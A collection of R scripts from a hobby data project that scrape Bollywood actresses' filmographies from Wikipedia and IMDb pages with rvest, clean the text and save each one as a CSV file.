table_nutan$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_nutan$Notes)
# clean text
table_nutan$Year <- str_trim(string = table_nutan$Year)
table_nutan$Film <- str_trim(string = table_nutan$Film)
table_nutan$Role <- str_trim(string = table_nutan$Role)
table_nutan$Notes <- str_trim(string = table_nutan$Notes)
write.csv(x = table_nutan, file = "nutan.csv")
<file_sep>/readme.md
Plan is to get as much as data related to Bollywood movies!
Wikipedia and IMDB are used to scrape most of the data.
<file_sep>/actresses/nimmi.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Bollywood_Jewels/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Nimmi"
# Assign the wiki url to `file_url`
table_nimmi <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/ul[1]') %>%
html_text(trim = T)
# text cleaning
table_nimmi <- str_split(string = table_nimmi, pattern = "\n")
table_nimmi <- table_nimmi[[1]]
table_nimmi <- as.data.frame(table_nimmi)
# convert `table_nimmi` `list` into `data.frame`
table_nimmi[2] <- NA
# Initialize 2nd column of `text.nargis`
names(table_nimmi) <- c("Year", "Film")
# rename columns of `text.nargis`
table_nimmi$Film <- table_nimmi$Year
# copy column-1 data to column-2
# clean text in column1
table_nimmi$Year <- gsub(pattern = '.*\\((.*?)\\)', replacement = '\\1', x = table_nimmi$Year)
table_nimmi$Year <- gsub(pattern = '[$.]', replacement = '', x = table_nimmi$Year)
table_nimmi$Year <- str_trim(string = table_nimmi$Year)
# clean text in column2
table_nimmi$Film <- gsub(pattern = '\\((.*)\\)', replacement = '', x = table_nimmi$Film)
table_nimmi$Film <- gsub(pattern = '[$.]', replacement = '', x = table_nimmi$Film)
table_nimmi$Film <- str_trim(string = table_nimmi$Film)
write.csv(x = table_nimmi, file = "nimmi.csv")
<file_sep>/actresses/nandita_das.R
# Sample script to scrape text from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'http://www.imdb.com/name/nm0201903/'
# Assign the wiki url to `file_url`
Year <- file_url %>%
read_html() %>%
html_nodes(css = '.year_column') %>%
html_text()
Year <- gsub(pattern = "\n|/I", replacement = "", x = Year)
Year <- gsub(pattern = ".*([0-9]{4}).*", replacement = "\\1", x = Year)
Year <- gsub(pattern = "^$", replacement = NA_integer_, x = Year)
Year <- str_trim(string = Year)
Film <- file_url %>%
read_html() %>%
html_nodes(css = 'b a') %>%
html_text()
Film <- gsub(pattern = "\\.\\.\\.", replacement = "", Film)
Film <- gsub(pattern = "^$", replacement = NA_character_, x = Film)
Film <- str_trim(string = Film)
table_nanditadas <- data.frame(Year, Film, stringsAsFactors = F)
table_nanditadas <- table_nanditadas[!duplicated(Film),]
table_nanditadas <- arrange(table_nanditadas, Year)
write.csv(x = table_nanditadas, file = "nandita_das.csv")
<file_sep>/actors/indian_film_actors.R
# Scrape Bollywood `Actor` names from wiki
library(rvest) # Load `rvest` package
WorkDir <- "~/DA/Projects/Bollywoodata/actors/"
setwd(dir = WorkDir)
file_url <- "https://en.wikipedia.org/wiki/List_of_Indian_film_actors"
# Assign the wiki url to `file_url`
names <- file_url %>%
read_html() %>%
html_nodes(css = '.column-width a') %>%
html_text(trim = TRUE)
links <- file_url %>%
read_html() %>%
html_nodes(css = '.column-width a') %>%
html_attr(name = 'href') %>%
lapply(FUN = function(x) paste0("https://en.wikipedia.org", x)) %>%
unlist(use.names = F)
actors <- data.frame(Actor = names, Link = links, row.names = NULL, stringsAsFactors = F)
write.csv(x = actors, file = 'indian_film_actors.csv')
<file_sep>/actresses/rajshree.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Rajshree"
# Assign the wiki url to `file_url`
Film <- file_url %>%
read_html() %>%
html_nodes(css = 'ol:nth-child(13) a') %>%
html_text()
Film <- gsub(pattern = "\n|/I", replacement = "", x = Film)
Film <- str_trim(string = Film)
Year <- file_url %>%
read_html() %>%
html_nodes(css = 'ol:nth-child(13) li') %>%
html_text()
Year <- str_extract(string = Year, pattern = "[0-9]{4}")
Year <- str_trim(string = Year)
table_rajshree <- data.frame(Year, Film, stringsAsFactors = F)
write.csv(x = table_rajshree, file = "rajshree.csv")
<file_sep>/actresses/rekha.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Rekha_filmography"
# Assign the wiki url to `file_url`
table_rekha <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_rekha <- table_rekha[[1]]
# convert `table_rekha` from `list` into `data.frame`
# clean text in column-2
table_rekha$Film <- gsub(pattern = "\\.\\.\\.", replacement = "", x = table_rekha$Film)
table_rekha$Film <- str_trim(string = table_rekha$Film)
# clean text in column-3
table_rekha$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_rekha$Role)
table_rekha$Role <- str_trim(string = table_rekha$Role)
# clean text in column-4
table_rekha$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_rekha$Notes)
table_rekha$Notes <- str_trim(string = table_rekha$Notes)
write.csv(x = table_rekha, file = "rekha.csv")
<file_sep>/actresses/kimi_katkar.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Kimi_Katkar'
# Assign the wiki url to `file_url`
table_kimikatkar <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[3]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_kimikatkar <- table_kimikatkar[[1]]
# convert `table_kimikatkar` from `list` into `data.frame`
names(table_kimikatkar) <- c("Year", "Film", "Role", "Notes")
# rename columns
# clean text in column-1
table_kimikatkar$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_kimikatkar$Year)
table_kimikatkar$Year <- str_trim(string = table_kimikatkar$Year)
# clean text in column-2
table_kimikatkar$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_kimikatkar$Film)
table_kimikatkar$Film <- str_trim(string = table_kimikatkar$Film)
# clean text in column-3
table_kimikatkar$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_kimikatkar$Role)
table_kimikatkar$Role <- str_trim(string = table_kimikatkar$Role)
table_kimikatkar <- select(table_kimikatkar, Year, Film, Role)
write.csv(x = table_kimikatkar, file = "kimi_katkar.csv")
<file_sep>/actresses/nargis.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Bollywood_Jewels/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Nargis"
# Assign the wiki url to `file_url`
text_nargis <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/div[4]') %>%
html_text(trim = T)
# text cleaning
text_nargis <- str_split(string = text_nargis, pattern = "\n")
text_nargis <- text_nargis[[1]]
text_nargis <- as.data.frame(text_nargis)
# convert `text_nargis` `list` into `data.frame`
text_nargis[2] <- NA
# Initialize 2nd column of `text.nargis`
names(text_nargis) <- c("Year", "Film")
# rename columns of `text.nargis`
text_nargis$Film <- text_nargis$Year
# copy column-1 data to column-2
# clean text to get 1st column
text_nargis$Year <- gsub(pattern = '.*\\((.*?)\\)', replacement = '\\1', x = text_nargis$Year)
text_nargis$Year <- gsub(pattern = '[a-z]', replacement = NA_character_, x = text_nargis$Year)
# clean text to get 2nd column
text_nargis$Film <- gsub(pattern = '\\((.*)\\)', replacement = '', x = text_nargis$Film)
text_nargis$Film <- str_trim(string = text_nargis$Film)
write.csv(x = text_nargis, file = "nargis.csv")
<file_sep>/actresses/sonali_bendre.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Sonali_Bendre'
# Assign the wiki url to `file_url`
table_sonalibendre <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_sonalibendre <- table_sonalibendre[[1]]
# convert `table_sonalibendre` from `list` into `data.frame`
names(table_sonalibendre) <- c("Year", "Film", "Role", "Language", "Notes")
# rename columns
# clean text in column-1
table_sonalibendre$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_sonalibendre$Year)
table_sonalibendre$Year <- str_trim(string = table_sonalibendre$Year)
# clean text in column-2
table_sonalibendre$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_sonalibendre$Film)
table_sonalibendre$Film <- str_trim(string = table_sonalibendre$Film)
# clean text in column-3
table_sonalibendre$Role <- gsub(pattern = "-", replacement = "", x = table_sonalibendre$Role)
table_sonalibendre$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_sonalibendre$Role)
table_sonalibendre$Role <- str_trim(string = table_sonalibendre$Role)
# clean text in column-4
table_sonalibendre$Language <- gsub(pattern = "^$", replacement = NA_character_, x = table_sonalibendre$Language)
table_sonalibendre$Language <- str_trim(string = table_sonalibendre$Language)
# clean text in column-5
table_sonalibendre$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_sonalibendre$Notes)
table_sonalibendre$Notes <- str_trim(string = table_sonalibendre$Notes)
table_sonalibendre <- select(table_sonalibendre, Year, Film, Role, Notes, Language)
table_sonalibendre <- arrange(table_sonalibendre, Year, Film)
write.csv(x = table_sonalibendre, file = "sonali_bendre.csv")
<file_sep>/actresses/sadhana.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Sadhana_Shivdasani"
# Assign the wiki url to `file_url`
table_sadhana <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_sadhana <- table_sadhana[[1]]
# Convert `table_sadhana` from `list` into `data.frame`
names(table_sadhana) <- c("Year", "Film", "Role", "notes")
# rename columns
# clean text in column-1
table_sadhana$Year <- str_trim(string = table_sadhana$Year)
# clean text in column-2
table_sadhana$Film <- table_sadhana$Film
table_sadhana$Film <- gsub(pattern = "(.*)\\[.*", replacement = "\\1", x = table_sadhana$Film)
table_sadhana$Film <- gsub(pattern = "(.*)\\?.*", replacement = "\\1", x = table_sadhana$Film)
table_sadhana$Film <- str_trim(string = table_sadhana$Film)
# clean text in column-3
table_sadhana$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_sadhana$Role)
table_sadhana$Role <- str_trim(string = table_sadhana$Role)
# clean text in column-4
table_sadhana$notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_sadhana$notes)
table_sadhana$notes <- str_trim(string = table_sadhana$notes)
write.csv(x = table_sadhana, file = "sadhana.csv")
<file_sep>/actresses/jyothika.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Jyothika'
# Assign the wiki url to `file_url`
table_jyothika <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_jyothika <- table_jyothika[[1]]
# convert `table_jyothika` from `list` into `data.frame`
names(table_jyothika) <- c("Year", "Film", "Role", "Language", "Notes")
# rename columns
# clean text in column-1
table_jyothika$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_jyothika$Year)
table_jyothika$Year <- str_trim(string = table_jyothika$Year)
# clean text in column-2
table_jyothika$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_jyothika$Film)
table_jyothika$Film <- str_trim(string = table_jyothika$Film)
# clean text in column-3
table_jyothika$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_jyothika$Role)
table_jyothika$Role <- str_trim(string = table_jyothika$Role)
# clean text in column-4
table_jyothika$Language <- gsub(pattern = "^$", replacement = NA_character_, x = table_jyothika$Language)
table_jyothika$Language <- str_trim(string = table_jyothika$Language)
# clean text in column-5
table_jyothika$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_jyothika$Notes)
table_jyothika$Notes <- gsub(pattern = "(.*)\\[.*", replacement = "\\1", x = table_jyothika$Notes)
table_jyothika$Notes <- str_trim(string = table_jyothika$Notes)
table_jyothika <- select(table_jyothika, Year, Film, Role, Notes, Language)
table_jyothika <- arrange(table_jyothika, Year, Film)
write.csv(x = table_jyothika, file = "jyothika.csv")
<file_sep>/actresses/mamta_kulkarni.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Mamta_Kulkarni'
# Assign the wiki url to `file_url`
table_mamtakulkarni <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_mamtakulkarni <- table_mamtakulkarni[[1]]
# convert `table_mamtakulkarni` from `list` into `data.frame`
names(table_mamtakulkarni) <- c("Year", "Film", "Role", "Notes")
# rename columns
# clean text in column-1
table_mamtakulkarni$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_mamtakulkarni$Year)
table_mamtakulkarni$Year <- str_trim(string = table_mamtakulkarni$Year)
# clean text in column-2
table_mamtakulkarni$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_mamtakulkarni$Film)
table_mamtakulkarni$Film <- str_trim(string = table_mamtakulkarni$Film)
# clean text in column-3
table_mamtakulkarni$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_mamtakulkarni$Role)
table_mamtakulkarni$Role <- gsub(pattern = "—", replacement = NA_character_, x = table_mamtakulkarni$Role)
table_mamtakulkarni$Role <- str_trim(string = table_mamtakulkarni$Role)
# clean text in column-4
table_mamtakulkarni$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_mamtakulkarni$Notes)
table_mamtakulkarni$Notes <- str_trim(string = table_mamtakulkarni$Notes)
table_mamtakulkarni <- select(table_mamtakulkarni, Year, Film, Role, Notes)
write.csv(x = table_mamtakulkarni, file = "mamta_kulkarni.csv")
<file_sep>/actresses/vimi.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Vimi"
# Assign the wiki url to `file_url`
Year <- file_url %>%
read_html() %>%
html_nodes(css = 'ul:nth-child(17) li') %>%
html_text()
Year <- str_extract(string = Year, pattern = "[0-9]{4}")
Year <- str_trim(string = Year)
Film <- file_url %>%
read_html() %>%
html_nodes(css = 'ul i , li i a') %>%
html_text()
Film <- unique(x = Film)
Film <- str_trim(string = Film)
table_vimi <- data.frame(Year, Film, stringsAsFactors = F)
write.csv(x = table_vimi, file = "vimi.csv")
<file_sep>/actresses/farida_jalal.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Farida_Jalal"
# Assign the wiki url to `file_url`
table_faridajalal <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[3]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_faridajalal <- table_faridajalal[[1]]
# convert `table_faridajalal` from `list` into `data.frame`
# clean text in column-2
table_faridajalal$Film <- gsub(pattern = "(.*)\\(.*\\).*", replacement = "\\1", x = table_faridajalal$Film)
table_faridajalal$Film <- gsub(pattern = "\\.\\.\\.", replacement = "", x = table_faridajalal$Film)
table_faridajalal$Film <- str_trim(string = table_faridajalal$Film)
# clean text in column-3
table_faridajalal$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_faridajalal$Role)
table_faridajalal$Role <- str_trim(string = table_faridajalal$Role)
# clean text in column-4
table_faridajalal$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_faridajalal$Notes)
table_faridajalal$Notes <- str_trim(string = table_faridajalal$Notes)
write.csv(x = table_faridajalal, file = "farida_jalal.csv")
<file_sep>/actresses/mahima_chaudhry.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Mahima_Chaudhry'
# Assign the wiki url to `file_url`
table_mahimachaudhry <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_mahimachaudhry <- table_mahimachaudhry[[1]]
# convert `table_mahimachaudhry` from `list` into `data.frame`
names(table_mahimachaudhry) <- c("Year", "Film", "Role", "Notes")
# rename columns
# clean text in column-1
table_mahimachaudhry$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_mahimachaudhry$Year)
table_mahimachaudhry$Year <- str_trim(string = table_mahimachaudhry$Year)
# clean text in column-2
table_mahimachaudhry$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_mahimachaudhry$Film)
table_mahimachaudhry$Film <- str_trim(string = table_mahimachaudhry$Film)
# clean text in column-3
table_mahimachaudhry$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_mahimachaudhry$Role)
table_mahimachaudhry$Role <- str_trim(string = table_mahimachaudhry$Role)
# clean text in column-4
table_mahimachaudhry$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_mahimachaudhry$Notes)
table_mahimachaudhry$Notes <- str_trim(string = table_mahimachaudhry$Notes)
table_mahimachaudhry <- select(table_mahimachaudhry, Year, Film, Role, Notes)
table_mahimachaudhry <- arrange(table_mahimachaudhry, Year, Film)
write.csv(x = table_mahimachaudhry, file = "mahima_chaudhry.csv")
<file_sep>/actresses/tina_munim.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Tina_Ambani"
# Assign the wiki url to `file_url`
table_tinamunim <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_tinamunim <- table_tinamunim[[1]]
# convert `table_tinamunim` from `list` into `data.frame`
# clean text in column-2
table_tinamunim$Film <- gsub(pattern = "\\?", replacement = "", x = table_tinamunim$Film)
table_tinamunim$Film <- str_trim(string = table_tinamunim$Film)
# clean text in column-3
table_tinamunim$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_tinamunim$Role)
table_tinamunim$Role <- str_trim(string = table_tinamunim$Role)
# clean text in column-4
table_tinamunim$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_tinamunim$Notes)
table_tinamunim$Notes <- str_trim(string = table_tinamunim$Notes)
write.csv(x = table_tinamunim, file = "tina_munim.csv")
<file_sep>/actresses/ayesha_jhulka.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Ayesha_Jhulka'
# Assign the wiki url to `file_url`
table_ayeshajhulka <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[3]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_ayeshajhulka <- table_ayeshajhulka[[1]]
# convert `table_ayeshajhulka` from `list` into `data.frame`
names(table_ayeshajhulka) <- c("Year", "Film", "Role", "Notes")
# rename columns
# clean text in column-1
table_ayeshajhulka$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_ayeshajhulka$Year)
table_ayeshajhulka$Year <- str_trim(string = table_ayeshajhulka$Year)
# clean text in column-2
table_ayeshajhulka$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_ayeshajhulka$Film)
table_ayeshajhulka$Film <- gsub(pattern = "\\.\\.\\.", replacement = " ", x = table_ayeshajhulka$Film)
table_ayeshajhulka$Film <- str_trim(string = table_ayeshajhulka$Film)
# clean text in column-3
table_ayeshajhulka$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_ayeshajhulka$Role)
table_ayeshajhulka$Role <- str_trim(string = table_ayeshajhulka$Role)
# clean text in column-4
table_ayeshajhulka$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_ayeshajhulka$Notes)
table_ayeshajhulka$Notes <- str_trim(string = table_ayeshajhulka$Notes)
table_ayeshajhulka <- select(table_ayeshajhulka, Year, Film, Role, Notes)
table_ayeshajhulka <- arrange(table_ayeshajhulka, Year, Film)
write.csv(x = table_ayeshajhulka, file = "ayesha_jhulka.csv")
<file_sep>/actresses/saira_banu.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Saira_Banu"
# Assign the wiki url to `file_url`
text_sairabanu <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/ul[1]') %>%
html_text(trim = T)
# text cleaning
text_sairabanu <- str_split(string = text_sairabanu, pattern = "\n")
text_sairabanu <- text_sairabanu[[1]]
text_sairabanu <- as.data.frame(text_sairabanu)
# convert `text_sairabanu` `list` into `data.frame`
text_sairabanu[2] <- NA
# Initialize 2nd column of `text.sairabanu`
names(text_sairabanu) <- c("Year", "Film")
# rename columns of `text.sairabanu`
text_sairabanu$Film <- text_sairabanu$Year
# copy column-1 data to column-2
# clean text in column-1
text_sairabanu$Year <- gsub(pattern = ".*\\((.*)\\).*", replacement = "\\1", x = text_sairabanu$Year)
text_sairabanu$Year <- substr(x = text_sairabanu$Year, start = 1, stop = 4)
text_sairabanu$Year <- str_trim(string = text_sairabanu$Year)
# clean text in column-2
text_sairabanu$Film <- gsub(pattern = "(.*)\\(.*", replacement = "\\1", x = text_sairabanu$Film)
text_sairabanu$Film <- str_trim(string = text_sairabanu$Film)
write.csv(x = text_sairabanu, file = "saira_banu.csv")
<file_sep>/actresses/manisha_koirala.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Manisha_Koirala_filmography'
# Assign the wiki url to `file_url`
table_manisha <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[1]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_manisha <- table_manisha[[1]]
# convert `table_manisha` from `list` into `data.frame`
names(table_manisha) <- c("Film", "Year", "Role", "Director", "Language", "Notes")
# rename columns
# clean text in column-1
table_manisha$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_manisha$Film)
table_manisha$Film <- str_trim(string = table_manisha$Film)
# clean text in column-2
table_manisha$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_manisha$Year)
table_manisha$Year <- str_trim(string = table_manisha$Year)
# clean text in column-3
table_manisha$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_manisha$Role)
table_manisha$Role <- str_trim(string = table_manisha$Role)
# clean text in column-4
table_manisha$Director <- gsub(pattern = "^$", replacement = NA_character_, x = table_manisha$Director)
table_manisha$Director <- str_trim(string = table_manisha$Director)
# clean text in column-5
table_manisha$Language <- gsub(pattern = "^$", replacement = NA_character_, x = table_manisha$Language)
table_manisha$Language <- str_trim(string = table_manisha$Language)
# clean text in column-6
table_manisha$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_manisha$Notes)
table_manisha$Notes <- str_trim(string = table_manisha$Notes)
table_manisha <- select(table_manisha, Year, Film, Role, Notes, Director, Language)
write.csv(x = table_manisha, file = "manisha_koirala.csv")
<file_sep>/actresses/sharmila_tagore.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Sharmila_Tagore"
# Assign the wiki url to `file_url`
table_sharmilatagore <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_sharmilatagore <- table_sharmilatagore[[1]]
# Convert `table_sharmilatagore` from `list` into `data.frame`
names(table_sharmilatagore) <- c("Year", "Film", "Director", "Role", "Language")
# rename columns
# Clean text in column-2
table_sharmilatagore$Film <- gsub(pattern = "(.*)\\(.*", replacement = "\\1", x = table_sharmilatagore$Film)
table_sharmilatagore$Film <- str_trim(string = table_sharmilatagore$Film)
# clean text in column-3
table_sharmilatagore$Director <- gsub(pattern = "(.*)\\(.*", replacement = "\\1", x = table_sharmilatagore$Director)
table_sharmilatagore$Director <- gsub(pattern = "(.*)\\(.*", replacement = "\\1", x = table_sharmilatagore$Director)
table_sharmilatagore$Director <- str_trim(string = table_sharmilatagore$Director)
# clean text in column-4
table_sharmilatagore$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_sharmilatagore$Role)
table_sharmilatagore$Role <- str_trim(string = table_sharmilatagore$Role)
# clean text in column-5
table_sharmilatagore$Language <- gsub(pattern = "^$", replacement = NA_character_, x = table_sharmilatagore$Language)
table_sharmilatagore$Language <- str_trim(string = table_sharmilatagore$Language)
write.csv(x = table_sharmilatagore, file = "sharmila_tagore.csv")
<file_sep>/actresses/pooja_bhatt.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Pooja_Bhatt'
# Assign the wiki url to `file_url`
table_pooja <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[4]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_pooja <- table_pooja[[1]]
# convert `table_pooja` from `list` into `data.frame`
# clean text in column-1
table_pooja$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_pooja$Year)
table_pooja$Year <- str_trim(string = table_pooja$Year)
# clean text in column-2
table_pooja$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_pooja$Film)
table_pooja$Film <- gsub(pattern = "(.*)\\(.*\\).*", replacement = "\\1", x = table_pooja$Film)
table_pooja$Film <- str_trim(string = table_pooja$Film)
# clean text in column-3
table_pooja$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_pooja$Role)
table_pooja$Role <- str_trim(string = table_pooja$Role)
table_pooja <- select(table_pooja, Year, Film, Role)
write.csv(x = table_pooja, file = "pooja_bhatt.csv")
<file_sep>/actresses/nanda.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Nanda_(actress)"
# Assign the wiki url to `file_url`
table_nanda <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_nanda <- table_nanda[[1]]
# convert `table_nanda` from `list` into `data.frame`
table_nanda[4] <- NA
# initiate column-4 of `table_nanda`
table_nanda[4] <- table_nanda[1]
# copy data from column-1 to column-2
names(table_nanda) <- c("Year", "Role", "Notes", "Film")
# rename columns in `table_nanda`
table_nanda <- select(.data = table_nanda, Year, Film, Role, Notes)
# rearragen columns in `table_nanda`
# clean text in column-1
table_nanda$Year <- gsub(pattern = ".*\\((.*)\\)", replacement = "\\1", x = table_nanda$Year)
table_nanda$Year <- str_trim(string = table_nanda$Year)
# clean text in column-2
table_nanda$Film <- gsub(pattern = "(.*)\\(.*", replacement = "\\1", x = table_nanda$Film)
table_nanda$Film <- str_trim(string = table_nanda$Film)
# clean text in column-3
table_nanda$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_nanda$Role)
table_nanda$Role <- str_trim(string = table_nanda$Role)
# clean text in column-4
